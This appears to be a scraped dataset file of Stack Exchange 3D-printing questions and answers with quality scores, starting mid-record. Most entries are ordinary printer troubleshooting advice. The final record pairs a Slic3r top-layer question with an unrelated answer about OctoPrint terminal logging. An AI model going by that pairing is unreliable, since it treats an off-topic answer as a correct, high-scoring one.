this,\nhttps://creativecommons.org/licenses/by-nc-sa/3.0/\nI hope this helps, Max", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.984868"}
{"id": "hf_8f451540a1d3", "question": "<p>I started a print on my Monoprice Select v2 and let it run.\nI'm printing with Dikale PLA at 200&nbsp;&deg;C extruder and 60&nbsp;&deg;C build plate temperatures. My initial layer speed is 30mm/s then 60mm/s after that. \nAlthough the Monoprice comes with an aluminum build plate, I put on a <a href=\"https://rads.stackoverflow.com/amzn/click/com/B07HPXGJVT\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">FYSETC magnetic bed plate</a> which says it's suitable for PLA printing between 50&nbsp;&deg;C&nbsp;-&nbsp;80&nbsp;&deg;C.</p>\n\n<p>When I returned home, the print had been lifted off the build plate. I used a brim and even applied magigoo gluestick to help it stick but that didn't do the trick.</p>\n\n<p>I also noticed it's charred at one corner. Any idea of what this might be a symptom of?</p>\n\n<p>Here's what was printed\n<a href=\"https://i.stack.imgur.com/2eMLy.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2eMLy.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "You have more than one problem going on. As for the print lifting up, that could be for a multitude of reasons. Clearly better bed adhesion is required. It also appears the printer stopped printing at one layer. Now for the charred part, I think it could've been caused by the nozzle staying in one area for too long (possibly when the printer stopped printing.). This causes the plastic touching the nozzle to overheat and burn up. The charred section can usually be pulled off pretty easily. However, since it definitely appears you have more than one issue here you should pursue some research (perhaps other questions on the site) on the matter.\nHope this helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.009440"}
{"id": "hf_6234b703ed87", "question": "<p>I recently got a Dremel 3D20, and I understand it only takes PLA filament according to the Dremel site.  However, I was wondering if anyone has successfully used TPU filament or knows it will work fine.  I’m more than happy to use other software to change the temperature, I just don’t want to gunk up or otherwise ruin my printer.</p>\n", "question_body": "", "answer": "TPU wants in general two things of your printer:\nA Printing Temperature of (over many makers) 195-230 °C\nA Direct Drive (extruder on the printhead)\nBowden extruders are not ideal for printing flexible filaments such as NinjaFlex due to the excessive\n  distance between the stepper motor and the extruder head. However, some users have generated\n  successful prints using reduced speeds.\nninjaflex handout\nCheck the temperature you can reach, and you are lucky, as some of the smaller Dremels use Bowden but the 3d20 is apparently direct drive.\nIf you want to try to run a Bowden with flexible filaments, dial down speed down really low (20-30 mm/s at most) and pray.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.081164"}
{"id": "hf_c65276817f3e", "question": "<p>Recently got an Anycubic I3 Mega Printer and I've been playing with what it can do, but after a model is done it leaves residue on the build plate behind that is bugging me. Do I NEED to remove it? If so, how? Thanks! (I'm using PLA if that matters)</p>\n\n<p>My Problem: </p>\n\n<p><a href=\"https://i.stack.imgur.com/pupIz.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pupIz.jpg\" alt=\"Residue left on build plate\"></a></p>\n", "question_body": "", "answer": "You should remove it because it can and will affect the quality of future prints. Residue can mix up with new filament and create a ugly of colors and also prevent adhesion in places, thus potentially ruining your next print.\nYou have several solutions to clean up the bed:\nScrape it off: usually works, but you risk chipping the surface if you're not careful or if you stumble upon a bit of residue that is stubborn and you need to apply strength to get rid of it. I think a scraper is included with the printer.\nSponge and soap: Since the bed cannot be removed, as far as I can tell, you'll need to make sure that the sponge isn't dripping or put towel paper around to avoid damaging the components below, including the heating unit. Rub it gently on the residue until it soften and detaches. It might take a bit to work.\nYellow glass cleaner from Karcher\n: my favourite, the one I use on my printer and it never failed me. Spray it on a cloth or something, and rub it on the bed until the residue softens and detaches. It might take a bit to work, but you don't run the risk of dripping liquid on any component, and it works way better than soap and without the risk of chipping the bed like when you use a scraper.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.105702"}
{"id": "hf_a23034455858", "question": "<p>I bought a 32 GB SDHC (Sandisk) I'd like to use for my Monoprice 3D printer.<br>\nI have downloaded Partition Wizard and partitioned a 2GB primary partition formatted as FAT and it still does not show any files. </p>\n\n<p>What am I doing wrong?</p>\n", "question_body": "", "answer": "For an SD card to work with the printer firmware\nMonoprice suggests to format the SD card to FAT32\n.\nHowever, the Monoprice Select Mini V2 is not able to read SDHC memory cards, it is advised to use an SD card (smaller than 4 GB) instead.\nAccording to the\nMonoprice support website\n:\n\"Why is my printer not reading my SD card?\"\n:\nIf the SD card is not recognized on the printer or if the files are\n  not reading, it could be an issue with the actual card itself. The\n  first thing we recommend checking is that none of the print files on\n  the SD card contain a space in their name. This shows in the printer\n  as an unidentified character and can cause issues. If none of your\n  prints contain spaces, we recommend reformatting your SD card.\nNote:  If you choose to purchase an SD card,\nplease make sure that it\n  is not labeled HC (High Capacity)\nas it\nmay not be compatible with the\n  printer\n. This means that\nthe card must be smaller than 4GB in size\n.\nThe last part of the support page is probably applicable to your card.\nSome further information can be found in\nWhat is the largest microSD card that a Monoprice Select Mini can read?\n, specifically\nthis answer\n. From this latter answer, I quote:\nCards between 2 GB and 32 GB\nmight\nwork, depending on the specifics of\n  the card\nBasically there are no guarantees when using large cards.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.153714"}
{"id": "hf_0d47f96e559e", "question": "<p>I dont want the part cooling fan on during preheat, especially when I'm only heating the bed, it is just unnecessarily loud and serves no purpose at that time.</p>\n\n<p>However when I set <code>PREHEAT_1_FAN_SPEED</code> to 0 it has no effect, the fan still spins at full speed as soon as I preheat either the hotend or the bed.</p>\n\n<p>So why is this setting not working and how do I fix this?</p>\n\n<p>I am using the latest version of <a href=\"https://github.com/MarlinFirmware/Marlin/tree/1.1.x/Marlin\" rel=\"nofollow noreferrer\">Marlin</a>.</p>\n\n<p>The only one that is defined is the one that I am editing and it is the one that appears on line ~1260 of the stock configuration.h</p>\n\n<pre><code>#define PREHEAT_1_FAN_SPEED 0 // Value from 0 to 255\n</code></pre>\n\n<p>And this is the grep result of searching the entire firmware folder:</p>\n\n<p><a href=\"https://i.stack.imgur.com/dJh5p.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/dJh5p.png\" alt=\"grep results\"></a></p>\n", "question_body": "", "answer": "This answer is now obsolete now that the OP has updated the question with additional information. It is left here as a possible solution for those who have tinkered with there firmware.\nPart cooling fan speed during preheat (from menu) is controlled by the setting\n```\n```\n#define PREHEAT_1_FAN_SPEED     0 // Value from 0 to 255\n```\n```\nin\nConfiguration.h\nwhere a value of\n```\n0\n```\nimplies no rotation, or 0 % and\n```\n255\n```\nimplies 100 %.\nIf changing this value in your configuration does not result in a reduced fan speed, you could have this constant be defined somewhere else overriding this value.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.178646"}
{"id": "hf_5210bce8ac99", "question": "<p>I managed to tear my build plate trying to get some very stubborn plastic off it.</p>\n\n<p><a href=\"https://i.stack.imgur.com/fDqad.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/fDqad.jpg\" alt=\"Torn build plate\"></a></p>\n\n<p>I'll need to buy a new one, what characteristics are important for me to ensure it's compatable with my printer?</p>\n\n<p>I can think of:</p>\n\n<ol>\n<li>Dimensions</li>\n<li>Power requirements</li>\n<li>Connector types</li>\n<li>That my printer moves the plate in the z axis (?)</li>\n</ol>\n\n<hr>\n\n<p><em>NB</em>  I'm so new at this I didn't realise that this was just a sticker on the plate, so I just need to replace this sticker.  However, as a question, I'm still curious as there's a good chance I will break it at some point.</p>\n", "question_body": "", "answer": "If your printer's heated bed still works, but the sticker has been ripped in some places:\nYou can try and remove the rest of the sticker, clean the metal plate under the sticker (perhaps with isopropyl alcohol) and then apply a new sticker once there is no adhesive remaining on the heated bed.\nYou can remove the sticker with the method above, but instead of replacing it with a new sticker, you can buy a PEI sheet and cut it to size if required (read more about PEI\nhere\n) and then stick it to the metal plate.\nPersonally, I would recommend the latter option, since PEI is low maintenance and the prints automatically pop off the sheet once it cools down, however just make sure not to print PETG on it, since it sticks too much.\nOn the other hand, if your entire heated bed is broken, the best-case scenario is to look for a heated bed that was designed specifically for your printer. Especially since your printer's heated bed has 3 mounting screws instead of 4.\nIf you somehow have a solution for mounting a heated bed with 4 mounting screws on a printer that uses 3, the things you need to watch out for are the heated bed's operating voltage (it should be 24v) and the dimensions must be the same. If the wires are not provided with the heated bed, make sure to get wires that have high enough gauge so that it is able to handle the high currents that the heated bed will need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.203495"}
{"id": "hf_f37008a989c2", "question": "<p>I have a set of 2D pictures from a CT scan.</p>\n\n<p>How can I convert them into a 3D model for 3D printing? An example looks like this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/EV9Q8.jpg\" rel=\"nofollow noreferrer\" title=\"CT-Scan of a mouse&#39;s bones\"><img src=\"https://i.stack.imgur.com/EV9Q8.jpg\" alt=\"CT-Scan of a mouse&#39;s bones\" title=\"CT-Scan of a mouse&#39;s bones\"></a></p>\n", "question_body": "", "answer": "Using the terms \"convert CT scan to 3D model,\" I found a number of links of tutorials. One of them is described as free, with registration and appears to be web based. The link,\nEmbodi3D\n, appears to have a relatively comprehensive set of instructions to accomplish your goal.\nInstructables\nalso has a similar tutorial. Should neither of these prove suitable, the search terms above may be of value.\nImage below via Instructables:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.239312"}
{"id": "hf_6831c25a692e", "question": "<p>When choosing a layer height, I know that often you go as fine as your printer will do for better precision, but sometimes you go a little thicker, for speed, for example.</p>\n\n<p>I also see 0.1&nbsp;mm and 0.2&nbsp;mm as common thicknesses.</p>\n\n<p>What are my options here? When I'm working on a part where I want to print a draft piece, and the quality matters less, can I set it to 0.15&nbsp;mm? 0.11&nbsp;mm? The Ultimaker Cura slicer I normally use will let me put in almost anything, but what can it really do? If I can use values in between simple 0.1&nbsp;mm increments, are there reasons I might want to do so?</p>\n\n<p>For reference, I have a Monoprice Maker Select Plus with a 0.4&nbsp;mm nozzle and, again, Ultimaker Cura as the slicer. But more general answers for other printer types and slicers are also encouraged. I want to know about this generally, and not just for one printer.</p>\n", "question_body": "", "answer": "You decide which layer height you want based on the quality you desire, but never go over about 75 % of your nozzle diameter, so with your 0.4 mm nozzle never choose layer heights larger than 0.3 mm. The rationale of this rule of thumb is that the filament leaves the nozzle as a tube and needs to be flattened to make it adhere to the previous layer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.262635"}
{"id": "hf_7cbdbd999fb9", "question": "<p>In the context of a personal project I would like to reproduce the appearance of a commercial product of which I send you a cropped image.</p>\n\n<p>I would also like to point out that I do not have the object in question, but it would seem that it is made from a polymer.  </p>\n\n<p>The product is a case with an embedded electronical card, so heat dissipation is important.</p>\n\n<p>I'm interested by what kind of plastic is really used here. I plan to have the part manufactured by a company, so I think the method used will be SLS</p>\n\n<p>I therefore rely on your expertise in the field of 3D printing to try to identify the material used.</p>\n\n<p><a href=\"https://i.stack.imgur.com/3WtzK.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3WtzK.png\" alt=\"enter image description here\"></a></p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Is there anything else about this object, but its picture? Softening temperature, biodegradability, is it stiff of flexible, hard or soft, anything could help identifying its material.\nAlso, post-processing (sanding down or chemicals like acetone bath) greatly enhances the range of filaments that can be used.\nJust from the picture, my first guess would be: it looks very much like what ceramic powder added filaments can yield with when you sand them down afterwards. Take a look at pictures of prints with LayBrick, CERAMO, etc.\nOn second thought,\nthe answer is: Polyamide/Nylon\n. It must be either a polyamide case or polyamide coating of some other material. For home projects, MJF polyamide prints can easily be ordered online. Ordering polyamide coating of plastic parts can be trickier depending on your location, although definitely doable.\nGoing with Nylon at home prints may require a non-basic 3D printer and some expertise.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.355785"}
{"id": "hf_9a051304a39e", "question": "<p>After a brownout a print failed and it got the whole hotend covered in PLA. I am now in the process of replacing some parts on the hotend (one of the thermistor legs broke of) and also wanted to take the heater cartridge out. The problem is that the bolt that locks the heater cartridge is stuck and I am now afraid to strip the head.</p>\n\n<p>Is there a trick to remove the bolt with the smallest probability of stripping the head? Is it better to apply heat or not? Should I soak it in Acetone or some other solvent? etc.</p>\n", "question_body": "", "answer": "Acetone will not dissolve PLA, there are other nasty solvents that do that, but it is not recommended to go that way.\nYou could apply 12 V (if the cartridge is 12 V that is) directly. As the thermistor does not work, you cannot use the printer board. You should take caution not to heat it too far or too hot, but from your experience with your own machine you should know approximately how long it takes to heat up the hotend to working temperature. E.g. start with a minute and try to pry off the lump of plastic with pliers. If you can reach the bolt/worm screw, try heating until you are able to insert the hex key or screw driver.\nThis video\nfrom Josef Prusa shows exactly what you need to do what is described above. The only difference is that you need to connect the heater element directly to the power supply as your thermistor is broken. So don't leave it on too long or you will bake the filament to carbonization, which is much harder to remove. Try to cycle it on/off.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.391638"}
{"id": "hf_a9bc2f138dd6", "question": "<p>I have been working on a printer project that basically is a 2D printer (dot matrix type). We are using solenoids as actuators to make impressions on the paper. We are now in the process of designing custom software. But a problem that we have encountered is that we have no idea how to design software as we are a bunch of beginners in this field.</p>\n\n<p>An idea we are working on is based on position-acknowledge technique. In this technique the computer sends G-code to the controller. The controller after reaching the position defined in code sends an acknowledgement and the computer then sends the next signal. This is the model we are currently working on. </p>\n\n<ul>\n<li>Can anyone suggest any other ideas to make this work? </li>\n<li>Is Our approach right? </li>\n<li>Do 3D printers work using same technique?</li>\n</ul>\n", "question_body": "", "answer": "3D printer firmware use gcode that is derived from CNC and no acknowledgment. They send movement commands to the stepper motors like\n```\nG1 X10 Y10\n```\nto move the printhead 10 mm along the X and Y.\nYou could use a ready 3D printer firmware like Marlin on a 3d printer board and use the X-axis or extruder output to couple to your solenoid, sending a\n```\nG1 Z0.1\n```\nor\n```\nG1 E0.1\n```\n, which will actuate it for a short time. You might even use E and Z on different solenoids.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.427242"}
{"id": "hf_9e7149477d9c", "question": "<p>My ender3 came with a BuildTak-clone surface, and as I was a little too vigorous in getting the print off the bed (I had failed to level right and printed a bit too tight to the bed, resulting in SUPER strong adhesion), I needed to replace it.</p>\n\n<p>Peeling off the black was easy. The plastic sheet that held the glue was easy too... but how to clean up the bed to get the residue glue off and prepare for the new 3M sticker?</p>\n", "question_body": "", "answer": "Cleaning up the aluminium build platform was rather easy in a three step process as I figured out:\nPreparation\nGet the old bed-surface off and any film layers that stick to the original glue. Don't bother to try to scrape off the glue, it is wasted time.\nSolvent\nTo remove the sticker's residue, I first tried heat and 70% isopropyl alcohol (aka isopropanol, 2-propanol), which was not very effective.\nWhat did prove effective was nail-polish remover on the base of\nacetone\n. It worked like a charm to turn the sticky film into easily removable, goopy clumps. With small doses and a lot of rubbing/massaging it into the residue and careful use of the scraper, all the glue was gone after about half to three-quarters of an hour of work.\nIn subsequent replacement, I used\npaint thinner\n, which is more effective in goopifying the glue and allowing to scrape it off much faster. 10 minutes max.\nCleanup\nAfter applying the generous amounts of nail polish remover, I thought that it might be best to get any of the additives that were meant to protect the skin off the bed - as well as the slight blue coloring - before applying the new tape. So I gave the aluminium a good wipe down with isopropanol.\nIn subsequent replacements I used ethanol 98 % to clean the bed before applying, just to make sure no fingerprints or glue residue creates bumps.\nApplying the new bed surface was easy afterwards, and after a quick bed leveling, the printer runs like a charm again.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.463726"}
{"id": "hf_1c194950d4eb", "question": "<p>I understand how slicer programs create sets of closed-loop polygons to print on a layer-by-layer basis.  For a given closed loop polygon which needs to be printed, the tool path generator will know the coordinates and how those coordinates are connected to each other, such that traversing a set of segments in that order will bring the extruder head back to the first coordinate to complete the closed loop.</p>\n\n<p>My question is: By what mechanism does the tool path generator decide which direction to traverse the closed loop?  As it is a loop, that loop could be printed \"clockwise\" or \"counter-clockwise\", as it were.  Any details, and links to further explanations of how some of the big-name slicer programs determine this is much appreciated.</p>\n", "question_body": "", "answer": "Math\nIn math, there is a way how a path is to be followed, and that is usually counterclockwise:\nAssuming a perimeter path of a circle with\n$r=1$\naround\n$(2,2)$\n, then the  path can be defined as\n$f(p)={{\\cos(p)+2}\\choose{\\sin(p)+2}}$\n- where\n$p$\nis the path parameter, in this case an angle of 0 to 360°, and just increasing the angle rotates right hand around. If we had the same path but a different starting point, a shift by\n$\\theta$\n, then the path would read\n$f(p)={{\\cos(p+\\theta)+2}\\choose{\\sin(p+\\theta)+2}}$\n. So math is usually\ncounterclockwise\n.\nSlicers\nEvery slicer is applying math. As far as I can tell, any Slicer generates a perimeter path, which is always performed in the same way if sliced with the same settings. For one case look at this:\nCounterclockwise starting from a 7 o clock position in this case. However, other slicers or other objects on the printbed might use other engines, thus doing it not that way. They might go clockwise since solving a path with\n$p=0°\\to360°$\nand solving it\n$p=360°\\to0°$\nresults in producing the exact same print, just opposed print direction of the perimeter.\nAs long as the perimeter of an object is solved as being done as one closed loop, the perimeter will need to have just one, prescribed direction. This direction will be clockwise or counterclockwise depending on how the slicer exactly solves its calculations. Since both directions are equally valid, it is a programmer's decision. A programmer might even prescribe clockwise or counterclockwise solution based on any factor they wanted. They might use layer number (for alternating directions) or a user setting or even an RNG, if they wanted to.\nOn the other hand, how the memory is operated and written can also result in the path and the math looking differently. Two examples:\nSolving the path correctly counterclockwise and putting the slicing into a FILO memory, resulting in a clockwise operation starting from the last solved point.\nSolving counterclockwise and saving into FIFO, running counterclockwise.\nConclusion\nSlicers for 3D printing have a hard-coded way to choose the direction that is followed when producing G-code. Any and all perimeters will be printed, starting from some arbitrary point, into that direction. In the end, it is a choice of the\nprogrammer\nof the slicing engine that determines if the path is to be run down \"forward\" or \"backward\" in mathematical sense.\nAddendum\nSlicers are derived from CAM programming. CAM - computer assisted machining - takes into account one more thing when solving the tool path that is not relevant to a 3D printer: The direction of the fluting of the tool. In fact, this one will determine into which direction the path will give a better cut and changing the fluting should swap the path direction to ensure best results.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.501215"}
{"id": "hf_1aab098296aa", "question": "<p>I've been 3D printing for a while and I've noticed that, when printing small parts, my colored plastics (PLA, PLA+ and ABS) have better layer adhesion than black ones.</p>\n\n<p>Did you notice this?</p>\n\n<p>What could be the cause?</p>\n", "question_body": "", "answer": "Not inherently.\nThere are two things at work that might cause one color to test weaker than others even as its properties otherwise are functionally identical:\nA bad print among good ones.\nA bad roll among good ones.\nLet's take a look at both, then do a little excursus into plastics and color.\nA bad print\nThere are probably thousands of reasons a print might fail, but bad layer bonding and squish-ability under torsion strongly hint to under extrusion. Now, under extrusion itself can be caused by a plethora of reasons: a clogged nozzle is equally as possible as too thinner diameter as is just a bad temperature. The last one is, in my opinion, the most likely culprit: filaments may look the same and feel the same and bond the same, but in different colors, they sometimes demand different print settings.\nAs an example, I print most of my Kaisertech PLAs at 200°C, as that offers a quite good result for all of them. Yet when I started I had a white China PLA and a crystal clear PLA from the same manufacturer, both came from the same warehouse in the same shipment. The clear one is quite more brittle on the roll, but their starting-to-print temperature differs by 5°C - the white started to extrude at 180°C decently and printed ok at 195°C-200°C, while the clear needed only 175°C to start to be extrudeable and was really printable at 190°C. Yet recently I tried the same roll again to achieve fully clear prints, and with 210°C and lots of overextrusion, I managed to go almost solid-clear. Because of such experience, I suggest tweaking the settings.\nA Bad Filament\nThere are several reasons why one roll might resulting in bad prints, but the most prominent are that the roll has\ngone\nbad over bad storage. It might be stored too hot or too humid, making it brittle or bubble in the hotend. Aging under UV plays a role (it degrades PLA). And dimensional accuracy plays a role because it affects the whole roll of filament. This is why tests should always be performed with equally treated and measured samples to achieve comparability.\nExcursus: Plastics and color\nWhat gives a plastic its color? Pigments added to it. Now, pigments can be of varied kinds. Usually, they are embedded in the plastic (=not bonded to the carrier plastic), and the plastic polymer is often either inherently transparent(ish) or white. Let's take some examples to look at...\nYellow\n. Yellow can be made from a lot of stuff but many yellow pigments react to UV light by decay more than other colors, leading to yellow to fade quickly in comparison to other colors. It has varied chemical compositions, often they can become quite complex.\nBlack\n. Black pigment is typically the most simplistic coloration to achieve: pure powdered carbon is one of our most potent black pigments, and also one of the cheapest, making black plastic one of the most common plastics. In contrast to other colors, carbon can't fade. But the plastic around it decomposes and turns white, fading the color this way.\nNow, most colorings are - in physical terms - sizeable. Some few to a couple dozen atoms, making them range in the\nAngström\n(~Atom diameter) to\nfew nanometer\narea overall. However, even something as complex as\n$C_{22}H_{20}O_{13}$\n(Carmine) is relatively small compared to the\n$(C_3H_4O_2)_n$\nof\nPoly\nLacticAcid, aka PLA. Poly tells us that n is at least 100, because shorter chains are\noligo\nmers, not\npoly\nmers. In comparison, our red carmine pigment is more dense, much more compact in fact. As a result, a 100-chain of PLA is not just in the\nAngstöm\narea but in the\ndozen nanometer\nto\nmicrometer\nrange - a magnitude of at least 2 larger. Unless we have a huge excess of pigment or a pigment that reacts with the plastic under heat, then the impact of it on the strength should be neglectible to the other fillers often used.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.566878"}
{"id": "hf_0e4c8b49dd01", "question": "<p>I'm having a lot of difficulty removing support material without damaging the print.</p>\n\n<p><img src=\"https://i.imgur.com/EVtUHms.jpg\" alt=\"Support material\">\n<img src=\"https://i.imgur.com/8akiidF.jpg\" alt=\"Support marterial\"></p>\n\n<p>Are there any tips/tricks to doing this or is it just a case of sanding, cutting, chopping and then cleaning it up as best I can?</p>\n\n<p><strong>Settings</strong></p>\n\n<ul>\n<li>Printer: Monoprice Ultimate</li>\n<li>Filament Temp: 200 °C</li>\n<li>Plate Temp: 60 °C</li>\n<li>Material:  PLA</li>\n<li>Slicer:  Ultimaker Cura\n\n<ul>\n<li>Placement:  Everywhere</li>\n<li>Angle:  20°</li>\n<li>Pattern:  Concentric</li>\n</ul></li>\n</ul>\n", "question_body": "", "answer": "Print/material specific settings\nIf you are printing\ntoo hot with too less distance\n,\nthe support just fuses to the print object\n. Extra cooling, lower print temperature and support distance should be in balance to create easy to remove support structures with respect to an acceptable print object surface. If temperature and cooling cannot be balanced to prevent fused support structures (e.g. for high temperature filament materials that cannot take too much cooling as that would result in less structural solid prints), there is an option in Cura to override the fan speed for the first layer above the support (\n```\nFan Speed Override\n```\n). If this fails to produce easy removable supports, you can resort to changing the support distance between the support and the print object.\nSupport settings\nMost of the used slicers have an option to determine how much distance (in terms of layers) you want between your support and your product, you could add an extra layer as space to try out if that works better for you. E.g. the default Cura setting for\n```\nSupport Bottom Distance\n```\n(which is a sub-setting of\n```\nSupport Z Distance\n```\n) is the layer thickness specified in\n```\nLayer Height\n```\n. If you have a layer height of 0.2 mm, the\n```\nSupport Bottom Distance\n```\nis also 0.2 mm. For the top, option\n```\nSupport Top Distance\n```\nthis is two layer heights, so 0.4 mm in this example. These options are visible in the expert mode, you can search for them in the search box, see image below.\nWhy should you want air in between your part and the support?\nYou'll soon find out when you want to\nremove supports\n, if no gap is used, the support will fuse to the print part. This is only interesting (no gap between print part and support structure) when you use a different filament for support like PVA or break-away filament; e.g. PVA dissolves in water in a dual nozzle printer setup (not that you can make the biggest part of the support except the top and bottom layer from the print object material, e.g. PLA for the main part of the support and PVA for the bottom and top layer: settings\n```\nFirst Layer Support Extruder\n```\n,\n```\nSupport Interface Extruder\n```\n,\n```\nSupport Roof Extruder\n```\nand\n```\nSupport Floor Extruder\n```\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.592293"}
{"id": "hf_5b325e036193", "question": "<p>I am in college and am doing a team competition to print PPSU filament, and get the best results. This is being put on by the Solvay company, who makes the material. Our team signed up and the university bought us an <a href=\"https://www.intamsys.com/\" rel=\"nofollow noreferrer\">Intamsys</a> <a href=\"https://www.intamsys.com/funmat-ht-3d-printer/\" rel=\"nofollow noreferrer\">Funmat HT</a> 3D Printer, which said it was capable of printing PPSU. However, the company doing the competition did not release the information that the bed plate must be a high temperature to avoid warping (Greater than 200 °C). However, our plate only reaches a temperature of 160. Does anyone know of any aftermarket heaters that would work with this printer?</p>\n\n<p>Maximum temperatures according to Intamys: Chamber 90 °C, Magnetic Build Plate 160 °C, Extruder 450 °C</p>\n", "question_body": "", "answer": "If you're a brave individual you might try insulating the bottom of your heated bed. You're going to want to get fiberglass or something that can actually withstand the temperatures you're trying to reach; anything past about 230 °C and you'll get organic things like cork and cotton starting to smoke. 200 °C is pretty absurd for a print bed temperature unless you're printing some pretty exotic materials.\nAside from insulating the bottom of the bed to aid in heat retention, you might also try getting an external FET chip for your heated bed, like is recommended for the RAMPS1.4 boards since their connectors don't handle high amperage loads well. External FET plus a 24 V PSU might give you the kind of temperature range you're apparently aiming for. Best of luck with that, and try not to set your entire setup on fire, 200 °C really is kind of absurd for an entire print plate.\nTL;DR:\nInsulate\nExternal FET chip\n24V PSU", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.628562"}
{"id": "hf_ac3c833e46d2", "question": "<p>When slicing with Slic3r Prusa edition the top layer of most models turns out pretty bad. There are usually small gaps or weird patterns. This does not happen with Ultimaker Cura, it will have a nice smooth top layer. Is there anything settings wise that I can do in Slic3r to get the same quality of top layer as Ultimaker Cura?</p>\n\n<p><a href=\"https://i.stack.imgur.com/HGc8C.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/HGc8C.jpg\" alt=\"Slic3r\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/vbDHj.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/vbDHj.png\" alt=\"Cura\"></a></p>\n", "question_body": "", "answer": "Yes\n, you can show more than 300 lines in the terminal; just\ndisable auto scrolling\n(\nreference\n).\nDisabling Autoscroll now completely disables cutting off the lines (so\n  you can have way more than 300 lines while that's disabled), filtering\n  has been improved too and doesn't cause scrolling anymore.\nNote that with disabled autoscrolling, you will be able to see more lines up to the point that the buffer is full. If you need even more lines to monitor, just enable the logging the data to file\n```\nserial.log\n```\n. If you open the options page (OctoPrint Settings), just tick the box for \"Log communication to\n```\nserial.log\n```\n\" under \"Serial logging\" of the \"Serial connection\" options.\nThis serial logging file is typically used for debug purposes, but as can be read from the options, it comes with a warning:\nWhile this can negatively impact performance, a\n```\nserial.log\n```\ncan be\n  incredibly useful for debugging any issues observed in the\n  communication between OctoPrint and your printer.\nYou can either access the log file through the OctoPrint options/setting through the \"Logging\" options tab, or direct download/copy from the logging directory:\non Linux: ~/.octoprint/logs\non Windows: %APPDATA%\\OctoPrint\\logs\non MacOSX: 